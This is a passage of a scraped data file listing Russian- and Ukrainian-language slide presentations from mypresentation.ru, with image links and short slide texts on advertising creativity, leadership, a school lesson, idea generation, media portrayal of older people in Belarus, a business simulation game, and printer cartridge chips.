},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img18.jpg",
"description": "Копирайтинг-2011 Я не сплю с фотомоделями"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img19.jpg",
"description": "Копирайтинг-2012 Тренды?"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img20.jpg",
"description": "Реклама и общество потребления"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img21.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img22.jpg",
"description": "Бизнес-идея Газированный напиток для дельфинов"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img23.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img24.jpg",
"description": "Позиционирование Фиксация и закрепление в структуре дискурса определенного места субъекта в соответствии с его социальным статусом и социальной ролью. Поза важна!"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img25.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img26.jpg",
"description": "Нейминг Blackberry Porsche Cayenne Йота Достоевский ФМ ##### █"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img27.jpg",
"description": "Слоган Дельфин-кола — лучшая кола для дельфина. От Рима до Aphines!"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img28.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img29.jpg",
"description": "Брендинг"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img30.jpg",
"description": "Креативная концепция Упс! Как бы это объяснить."
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img31.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №32"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img32.jpg",
"description": "ТРИСТАШИСЯТ!"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img33.jpg",
"description": "Кей-вижуал, слоган Видео, радио, промосайт Ивент, вирусняк, баннеры, SMM"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img34.jpg",
"description": "Креативная контрацепция, или как уберечь ваших детей от дельфинов Кирилл Блинов Кирилл Левашов, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/90cc804522b789bec31b6d144b730c2e/img35.jpg",
"description": "Немного о… Асоциальные медиа Хитрые хитрости маркетологов"
}
] |
https://mypresentation.ru/presentation/99664 | Лидерство | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img0.jpg",
"description": "Лидерство"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img1.jpg",
"description": "Тест на лидерские качества А) буду звонить каждый день B) Дам подробные инструкции C) Срочно найму CEO D) Ничего вы решили съездить на неделю в отпуск…"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img2.jpg",
"description": "Тест на лидерские качества А) буду звонить каждый день B) Дам подробные инструкции C) Срочно найму CEO D) Ничего"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img3.jpg",
"description": "боритесь за то, во что верите"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img4.jpg",
"description": "Какие еще ошибки"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img5.jpg",
"description": "Знать всё"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img6.jpg",
"description": "политические игры"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img7.jpg",
"description": "{микро} лидеры"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img8.jpg",
"description": "советы лидерам будущего"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img9.jpg",
"description": "Всегда нанимайте людей, которые умнее вас"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img10.jpg",
"description": "Вдохновляйте своих коллег и подчиненных, давайте им возможность действовать самостоятельно, доверяйте им"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img11.jpg",
"description": "Вдохновляйте своих коллег и подчиненных, давайте им возможность действовать самостоятельно, доверяйте им"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img12.jpg",
"description": "Научитесь видеть всю картину мира, разбираться в мировых процессах и объяснять это коллегам Просто больше читайте"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img13.jpg",
"description": "Развивайте в компании социальную ответственность"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img14.jpg",
"description": "настоящие проблемы видны именно снизу"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img15.jpg",
"description": "Новые тенденции Роль лидера со временем смещается от самой активной позиции к более сторонней"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img16.jpg",
"description": "IQ , EQ VQ (коэффициент жизненной энергии)"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img17.jpg",
"description": "«Жизнь слишком коротка, чтобы быть незначительной» премьер-министр Англии Бенджамин Дизраэли"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img18.jpg",
"description": "коммуникации – это не процесс понимания друг друга процесс, с помощью которого мы познаем друг друга"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/f7ce41e93a21e353e48e78348595fcea/img19.jpg",
"description": "Полезное: http://community.livejournal.com/new_leaders/ Мастер-классы на «Рабочих Выходных» Ричард Бренсон Серия книг ЖЗЛ www.forbes.ru"
}
] |
https://mypresentation.ru/presentation/99665 | Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img0.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, п. Ванино"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img1.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img2.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img3.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img4.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img5.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img6.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img7.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img8.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img9.jpg",
"description": "Чему мы научились за год? Урок-праздник. Автор: Любаева Любовь Владимировна, учитель начальных классов, МОУ СОШ № 3, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/ca0b24d0c3b73e1e1afd69b79d69bf86/img10.jpg",
"description": "Список используемых источников Список используемых источников Бунеева Е.В., Комиссарова Л.Ю., Яковлева М.А. Русский язык. 1 и 2 классы. Методические рекомендации для учителя. Е. В. Бунеева, М.А. Яковлева Русский язык (первые уроки). Учебник для 1 класса."
}
] |
https://mypresentation.ru/presentation/99666 | Где же ещё можно найти идею для воплощения? | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img0.jpg",
"description": "Где же ещё можно найти идею для воплощения?"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img1.jpg",
"description": "Возможно вы скажете: У меня много идей"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img2.jpg",
"description": "Возможно вы скажете: У меня много идей У меня много идей и я уже работаю"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img3.jpg",
"description": "Но мне больше нравится: У меня много идей, но сейчас я работаю над одной"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img4.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img5.jpg",
"description": "У меня много идей, но сейчас я работаю над одной Какое слово вы бы заменили?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img6.jpg",
"description": "Мой вариант У меня много идей, но сейчас мы работаем над одной"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img7.jpg",
"description": "Но мы немного отвлеклись… Так где же можно еще найти эти новые идеи?!"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img8.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img9.jpg",
"description": "Место ? Способ ? Метод ?"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img10.jpg",
"description": "Помните прошлое занятие?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img11.jpg",
"description": "блин…"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img12.jpg",
"description": "Мы говорили про маленницу и упущенные возможности"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img13.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img14.jpg",
"description": "Это пример показывает, что упущенных возможностей НЕ БЫ-ВА-ЕТ!"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img15.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img16.jpg",
"description": "Всё очень просто: Идею можно украсть!"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img17.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img18.jpg",
"description": "Галилей не изобретал телескоп"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img19.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img20.jpg",
"description": "Флеминг не был тем человеком, который открыл пенициллин."
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img21.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img22.jpg",
"description": "В 1860 году Антонио Меуччи впервые продемонстрировал как работает телефон"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img23.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img24.jpg",
"description": "И даже Альберт Эйнштейн!"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img25.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img26.jpg",
"description": "мировой рекорд. 1 093 патента"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img27.jpg",
"description": "Где же ещё можно найти идею для воплощения?, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/3fed8b6e3ba91c192a20001256809c88/img28.jpg",
"description": "Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99667 | Контент – анализ СМИ «образ пожилого человека в белорусском обществе» Проект ОО «Радислава» «Значимые лица – диалог поколений | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img0.jpg",
"description": "Контент – анализ СМИ «образ пожилого человека в белорусском обществе» Проект ОО «Радислава» «Значимые лица – диалог поколений»"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img1.jpg",
"description": "Цель мониторинга: Исследовать образ пожилого человека в белорусском обществе, который транслируется через СМИ, а также отследить изменения образа либо отсутствие каких-либо изменений в течении 2 лет реализации проекта с 15.11.2009г. по 15.11.2011г."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img2.jpg",
"description": "СРЕДСТВА МАССОВОЙ ИНФОРМАЦИИ ПЕЧАТНЫЕ ИНТЕРНЕТ"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img3.jpg",
"description": "Кто вошёл в статистику? Статьи, где описаны люди старше 60 лет независимо от пола, национальности и социального статуса, т.е. это могут быть обычные рядовые пожилые граждане, политики, публичные люди и звезды шоу-бизнеса, ученые, священнослужители, граждане РБ и любых других стран, также учитываются статьи написанные в газету самим пожилым человеком, так называемые «письма в редакцию», а также сводки криминальной хроники, где тем или иным образом задействованы пожилые люди."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img4.jpg",
"description": "Критерии исследования: Тематика сообщения Размер статьи Визуальное послание Роль пожилого человека в материале «Эпитеты, характеризующие пожилого человека» Субъект насилия Общее количество статей в номере/сутках"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img5.jpg",
"description": "вычитано 146 448 статей. Из них на тему пожилого человека было 3 477 (2,4%) Теме насилия над пожилым человеком посвящено 439 статей (0,3% от общего количества, 12,6% от количества статей о пожилых)"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img6.jpg",
"description": "Содержание статей: 70% - статьи о публичных личностях 10% - автор статьи- сам пожилой человек 5% - простые пожилые граждане 15% - материалы о социальных услугах, пенсиях, льготах."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img7.jpg",
"description": "ДИНАМИКА: К росту количества статей К росту качества статей ПРИЧИНЫ предполагаемые нами Результаты переписи населения (не 7%, а 14%) Реализация программы «Место встречи - диалог» в РБ."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img8.jpg",
"description": "Образ пожилого человека: Публичная личность - «моложавый и крепкий, в голосе слышится металл, известный, символ бескорыстия, упорство в своём стремлении делать добро,скромный интеллегентный, воспитанный не так как сейчас, целый день в работе, одиночество – это редкие минуты отдыха, счастья, уединения, активная,достойный человек, похоронили достойно, народное прощание, защитник своих прав, дедушка, который способен помочь в чём-то разобраться, народная артистка, сердце-то молодое, творческая личность, человек, который расстворился в работе, знаменитый, гениальный, неповторимый, мэтр, автор знаменитых произведений, почётный гражданин, замечательная актриса, талантливый человек, легендарная личность»"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img9.jpg",
"description": "ОБРАЗ ПОЖИЛОГО ЧЕЛОВЕКА: Обычный пожилой человек - «старик тяжело больной, обрадованный, что кто-то с ним поговорил, нуждающийся человек, считающий каждую копеечку, устало плетётся седовласый мужчина, сутулый старик в тёплых ботинках, «прощай молодость», не заслужили, обойдутся, злобные бабушки, вредные бабульки, которые перемывают все косточки, ворчливый и вредный дед, вечно кряхтящий, дряхлый старик, одинокий, пожилая чета, полуслепые, на костылях». А зачастую, в статье никак не описан пожилой человек, а есть только констатация факта: «пенсионер, пожилой, 116-летняя минчанка и т.д.»."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img10.jpg",
"description": "ОБРАЗ ПОЖИЛОГО ЧЕЛОВЕКА : Статьи о насилии - пожилой человек выглядит жертвой, изгоем, его считают ненормальным, выжившим из ума человеком, самоубийцей, говорят, что он лишний, надоедливый, вредный."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img11.jpg",
"description": "ВИЗУАЛЬНЫЙ ПОДТЕКСТ"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img12.jpg",
"description": "ВИЗУАЛЬНЫЙ ПОДТЕКСТ ПУБЛИЧНОГО ЧЕЛОВЕКА"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img13.jpg",
"description": "СМИ КАК РЕСУРС"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img14.jpg",
"description": "ЧТО ДЕЛАТЬ? Найдите \"свои\" СМИ. Познакомьтесь с журналистами. Станьте информационным партнером. Создавайте информационные поводы (с учётом знания потребностей журналистов). Выступайте в качестве эксперта. Делайте интересные фотографии. Закладывайте средства в проектные заявки на работу специалиста по связям с общественностью. Поддерживайте жизнь своего сайта, страницы в социальных сетях, живых журналах."
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/a4ae62deccb1d1b0d61f3eec7e611fd1/img15.jpg",
"description": "СПАСИБО ЗА ВНИМАНИЕ! ОО «Радислава» www.stopnasilie.org"
}
] |
https://mypresentation.ru/presentation/99668 | Инновационный кластер: дух предпринимательства | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img0.jpg",
"description": "Инновационный кластер: дух предпринимательства"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img1.jpg",
"description": "Цели игры"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img2.jpg",
"description": "Динамика игры"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img3.jpg",
"description": "Экономическая модель"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img4.jpg",
"description": "Долевое участие"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img5.jpg",
"description": "Экономическая модель"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img6.jpg",
"description": "Экономическая модель"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img7.jpg",
"description": "Ошибочные паттерны поведения СЕО изначально берет слишком большую долю в проекте Инвесторы отказываются инвестировать На первых двух этапах СЕО не берет доли в проекте Третий этап имеет наименьшую маржу; СЕО может остаться вообще без дохода Инвестор неверно оценивает риски Инвестор прогорает СЕО устраивают нездоровую конкуренцию при создании опытного производства Прогорают все Ученый не переуступает долю в своем проекте В итоге либо без доли остается СЕО, либо прогорает инвестор. В обоих случаях проект вряд ли будет доведен до конца"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img8.jpg",
"description": "Стратегии инвесторов Стратегия 1: инвестор работает только на определенной стадии проекта, после чего переуступает долю. Стратегия 2: инвестор работает на всех стадиях в различных проектах, доли не переуступает. Стратегия 3: инвестор финансирует только один проект, но делает это от начала и до конца."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img9.jpg",
"description": "Как это выглядит"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img10.jpg",
"description": "Наука"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img11.jpg",
"description": "Наука"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img12.jpg",
"description": "Наука - задачи"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img13.jpg",
"description": "Наука"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img14.jpg",
"description": "Инвестирование"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img15.jpg",
"description": "Опытный образец"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img16.jpg",
"description": "Маркетинг"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img17.jpg",
"description": "Маркетинг"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img18.jpg",
"description": "Борьба за рынок"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img19.jpg",
"description": "Технологические цепочки"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img20.jpg",
"description": "СТО"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img21.jpg",
"description": "IPO или прямая продажа"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img22.jpg",
"description": "Продажа производства"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img23.jpg",
"description": "Распределение долей"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img24.jpg",
"description": "Очки победы"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img25.jpg",
"description": "Ценность игровых денег"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img26.jpg",
"description": "Некоторые паттерны поведения Корпоративный ученый Корпоративный маркетолог Неразрешимый конфликт инвестора и СЕО Ученый, ушедший в бизнес Профессиональный СЕО стартапов Организатор рекламных флешмобов Смена роли: агент –> СЕО Устойчивые связки инвестор-СЕО"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img27.jpg",
"description": "Мягкие навыки"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img28.jpg",
"description": "Отзывы"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img29.jpg",
"description": "Спасибо!"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/906e92c88f38cc706935aafbfc9b3814/img30.jpg",
"description": "Пожалуйста, задавайте ваши вопросы"
}
] |
https://mypresentation.ru/presentation/99669 | Лабораторія “СІНТ-Майстер” ПРОГРАМНИЙ ЗАХИСТ ПРИНТЕРІВ | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img0.jpg",
"description": "Лабораторія “СІНТ-Майстер” ПРОГРАМНИЙ ЗАХИСТ ПРИНТЕРІВ"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img1.jpg",
"description": "Історія чіпування картриджів та принтерів"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img2.jpg",
"description": "Чіпи можна поділити на: що не блокують роботу і функціонал апарату; що частково обмежують функціонал апарату; що блокують роботу апарату після закінчення тонера чи чорнила."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img3.jpg",
"description": "Зовнішній вигляд деяких чіпів Samsung і Xerox"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img4.jpg",
"description": "Зовнішній вигляд чіпів OKI"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img5.jpg",
"description": "Зовнішній вигляд чіпів HP"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img6.jpg",
"description": "Зовнішній вигляд чіпів Epson, Lexmark, Minolta"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img7.jpg",
"description": "Апарати які необхідно прошивати"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img8.jpg",
"description": "Апарати які необхідно прошивати"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img9.jpg",
"description": "Апарати які необхідно прошивати"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img10.jpg",
